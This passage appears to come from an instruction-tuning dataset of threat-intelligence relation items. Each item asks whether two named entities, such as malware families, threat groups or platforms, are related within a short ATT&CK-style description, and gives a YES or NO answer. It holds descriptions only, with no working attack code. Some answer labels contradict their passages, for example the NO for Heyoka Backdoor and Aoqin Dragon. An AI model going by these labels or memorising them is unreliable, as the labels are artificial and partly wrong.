nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGroup5\n### Target Entity: DroidJack\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDroidJack\n### Target Entity: Android\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: Syrian\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChimera\n### Target Entity: Windows admin shares\n### Text Passage:\nChimera has used Windows admin shares to move laterally.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChimera\n### Target Entity: Windows\n### Text Passage:\nChimera has used Windows admin shares to move laterally.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChaes\n### Target Entity: windows\n### Text Passage:\nChaes has added persistence via the Registry key software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nwindows\n### Target Entity: software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help\n### Text Passage:\nChaes has added persistence via the Registry key software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAbstractEmu\n### Target Entity: Google Play\n### Text Passage:\nAbstractEmu is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. AbstractEmu was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAbstractEmu\n### Target Entity: Android\n### Text Passage:\nAbstractEmu is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. AbstractEmu was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAbstractEmu\n### Target Entity: United States\n### Text Passage:\nAbstractEmu is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. AbstractEmu was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: Google Play\n### Text Passage:\nAbstractEmu is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. AbstractEmu was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOneDrive\n### Target Entity: PowerStallion\n### Text Passage:\nPowerStallion uses a XOR cipher to encrypt command output written to its OneDrive C2 server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowerStallion\n### Target Entity: C2\n### Text Passage:\nPowerStallion uses a XOR cipher to encrypt command output written to its OneDrive C2 server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDnsSystem\n### Target Entity: .NET\n### Text Passage:\nDnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDnsSystem\n### Target Entity: DIG.net\n### Text Passage:\nDnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHEXANE\n### Target Entity: DnsSystem\n### Text Passage:\nDnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDIG.net\n### Target Entity: .NET\n### Text Passage:\nDnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAdups\n### Target Entity: Android\n### Text Passage:\nAdups is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAdups\n### Target Entity: Chinese\n### Text Passage:\nAdups is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: BLU Products\n### Text Passage:\nAdups is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAoqin Dragon\n### Target Entity: Mongall\n### Text Passage:\nMongall is a backdoor that has been used since at least 2013, including by Aoqin Dragon.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNDiskMonitor\n### Target Entity: C2\n### Text Passage:\nNDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAnubis\n### Target Entity: Android\n### Text Passage:\nAnubis is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInvisiMole\n### Target Entity: InvisiMole\n### Text Passage:\nInvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInvisiMole\n### Target Entity: Ukraine\n### Text Passage:\nInvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInvisiMole\n### Target Entity: Russia\n### Text Passage:\nInvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon\n### Target Entity: InvisiMole\n### Text Passage:\nInvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHKU\\SOFTWARE\\Microsoft\\CTF\n### Target Entity: Microsoft\n### Text Passage:\nTEARDROP checked that HKU\\SOFTWARE\\Microsoft\\CTF existed before decoding its embedded payload.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAsyncRAT\n### Target Entity: Snip3\n### Text Passage:\nSnip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRevenge RAT\n### Target Entity: Snip3\n### Text Passage:\nSnip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAgent Tesla\n### Target Entity: Snip3\n### Text Passage:\nSnip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNETWIRE\n### Target Entity: Snip3\n### Text Passage:\nSnip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRevenge RAT\n### Target Entity: AsyncRAT\n### Text Passage:\nSnip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPegasus\n### Target Entity: Android\n### Text Passage:\nPegasus for Android is the Android version of malware that has reportedly been linked to the NSO Group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPegasus\n### Target Entity: NSO Group\n### Text Passage:\nPegasus for Android is the Android version of malware that has reportedly been linked to the NSO Group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAoqin Dragon\n### Target Entity: Heyoka Backdoor\n### Text Passage:\nHeyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that has been used by Aoqin Dragon since at least 2013.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHeyoka Backdoor\n### Target Entity: Heyoka\n### Text Passage:\nHeyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that has been used by Aoqin Dragon since at least 2013.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHeyoka Backdoor\n### Target Entity: Aoqin Dragon\n### Text Passage:\nHeyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that has been used by Aoqin Dragon since at least 2013.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKeyRaider\n### Target Entity: iOS\n### Text Passage:\nKeyRaider is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKillDisk\n### Target Entity: VMProtect\n### Text Passage:\nKillDisk uses VMProtect to make reverse engineering the malware more difficult.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCarbanak\n### Target Entity: Carberp\n### Text Passage:\nCarberp is a credential and information stealing malware that has been active since at least 2009. Carberp's source code was leaked online in 2013, and subsequently used as the foundation for the Carbanak backdoor.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGoopy\n### Target Entity: Windows\n### Text Passage:\nGoopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT32\n### Target Entity: Goopy\n### Text Passage:\nGoopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGoopy\n### Target Entity: Google\n### Text Passage:\nGoopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: APT32\n### Text Passage:\nGoopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRONZE BUTLER\n### Target Entity: ABK\n### Text Passage:\nABK is a downloader that has been used by BRONZE BUTLER since at least 2019.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTRITON\n### Target Entity: Middle East\n### Text Passage:\nThis entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS. TRITON is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. TRITON was deployed against at least one target in the Middle East. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTRITON\n### Target Entity: Triconex Safety Instrumented System\n### Text Passage:\nThis entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS. TRITON is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. TRITON was deployed against at least one target in the Middle East. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTriconex Safety Instrumented System\n### Target Entity: TRITON\n### Text Passage:\nThis entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS. TRITON is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. TRITON was deployed against at least one target in the Middle East. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMacMa\n### Target Entity: macOS\n### Text Passage:\nMacMa is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. MacMa has been observed in the wild since November 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nISMInjector\n### Target Entity: SmartAssembly\n### Text Passage:\nISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nred-gate.com\n### Target Entity: ISMInjector\n### Text Passage:\nISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLiteDuke\n### Target Entity: Firefox\n### Text Passage:\nLiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLiteDuke\n### Target Entity: Opera\n### Text Passage:\nLiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFirefox\n### Target Entity: Opera\n### Text Passage:\nLiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroidOS/MalLocker.B\n### Target Entity: Android\n### Text Passage:\nAndroidOS/MalLocker.B is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHilalRAT\n### Target Entity: Android\n### Text Passage:\nHilalRAT is a remote access-capable Android malware, developed and used by UNC788.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC788\n### Target Entity: HilalRAT\n### Text Passage:\nHilalRAT is a remote access-capable Android malware, developed and used by UNC788.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC788\n### Target Entity: Android\n### Text Passage:\nHilalRAT is a remote access-capable Android malware, developed and used by UNC788.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCarbonSteal\n### Target Entity: C2\n### Text Passage:\nCarbonSteal is one of a family 